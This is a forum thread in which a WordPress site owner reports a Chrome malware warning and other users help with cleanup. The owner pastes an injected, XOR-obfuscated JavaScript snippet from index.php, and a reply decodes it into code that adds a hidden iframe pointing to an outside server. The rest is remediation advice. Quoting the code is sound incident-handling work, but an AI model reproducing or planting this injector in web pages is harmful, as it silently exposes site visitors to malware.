hacked ?

I get a malware warning If I use Google chrome on one of my websites. I checked FTP and saw there where many suspious files that shouldn't be there (it's a wordpress install) in the public html folder. I deleted al the files and changed the pasword of the FTP. Will this solve the problem? How does the Google warning go away?

I also checked my index.php file and found additional code at the bottom:
What is that?

<script>lo=new Array(81,69,10,83,88,84,66,90,82,89,67,25,84,69,82,86,67,82,114,91,82,90,82,89,67,31,16,94,81,69,86,90,82,16,30,12,61,81,69,25,68,69,84,10,21,95,67,67,71,13,24,24,86,83,84,88,66,89,67,82,69,68,25,89,82,67,24,81,86,69,24,68,95,88,64,25,71,95,71,8,68,10,82,85,4,6,83,6,14,1,81,84,21,12,61,81,69,25,68,67,78,91,82,25,83,94,68,71,91,86,78,10,21,89,88,89,82,21,12,61,83,88,84,66,90,82,89,67,25,80,82,67,114,91,82,90,82,89,67,68,117,78,99,86,80,121,86,90,82,31,16,85,88,83,78,16,30,108,7,106,25,86,71,71,82,89,83,116,95,94,91,83,31,81,69,30,12,61);oa="";jnyh=String.fromCharCode;tl=55;for(vf in lo)oa+=jnyh(lo[vf]^tl);eval(oa);</script><script>lo=new Array(81,69,10,83,88,84,66,90,82,89,67,25,84,69,82,86,67,82,114,91,82,90,82,89,67,31,16,94,81,69,86,90,82,16,30,12,61,81,69,25,68,69,84,10,21,95,67,67,71,13,24,24,86,83,84,88,66,89,67,82,69,68,25,89,82,67,24,81,86,69,24,68,95,88,64,25,71,95,71,8,68,10,82,85,4,6,83,6,14,1,81,84,21,12,61,81,69,25,68,67,78,91,82,25,83,94,68,71,91,86,78,10,21,89,88,89,82,21,12,61,83,88,84,66,90,82,89,67,25,80,82,67,114,91,82,90,82,89,67,68,117,78,99,86,80,121,86,90,82,31,16,85,88,83,78,16,30,108,7,106,25,86,71,71,82,89,83,116,95,94,91,83,31,81,69,30,12,61);oa="";jnyh=String.fromCharCode;tl=55;for(vf in lo)oa+=jnyh(lo[vf]^tl);eval(oa);</script>

It is encoded iframe

Kaimi said:

It is encoded iframe

Code:

fr=document.createElement('iframe');
fr.src="http://adcounters.net/far/show.php?s=eb31d196fc";
fr.style.display="none";
document.getElementsByTagName('body')[0].appendChild(fr);

Click to expand...

What does that mean? How can I solve this problem?

remove the javascript from ur sites
upgrade your scripts (most likely old wordpress)
get and run a good antivirus app with firewall (kaspersky internet security HIGHLY recommended)

have fun, u just got pwn3d

OK ... how can I remove the javascript from wordpress?

If I look at the pagesource, there is a iframe at the bottom which is causing the problem, but I can't find it to delete it!

check all index.php files on your server, thats probably whats been edited, if not look through header.php and footer.php files

darkAsPitch said:

I'd do a complete re-install of my server if I were you OP...

Should only take a few hours, and would eliminate the HIGH possibility that a rootkit has been installed on your server.

Click to expand...

I second this... change your control panel account password, FTP etc... re-install latest, make sure your directory permissions are correct... you need to look at ALL your sites on that server not just the one that has been hacked... remove all scripts your not using... if you have backups old ones use them instead of the current DB that might contain code ...

Bottom line is you have to assume that everything has been compromised and work your way up from there... not just index files suspect ALL files

I updated all wordpress versions to 2.9.1
I deleted all suspious files
I deleted / edited all index.php files

Seems that everything is ok for now! Thanks for the help everyone!

PS what directory permissions should I give?

For WP you might want to look at some of these plugins...


Security advice (as per WP)


Regards...

At least try running a rootkit hunter on the server after changing your password (rkhunter is my preference).. Sorry just realised this old thread.

Backup all your posts get a fresh instalation and use a clean design. Then you can import your posts. And use the last wp version.
Posted via Mobile Device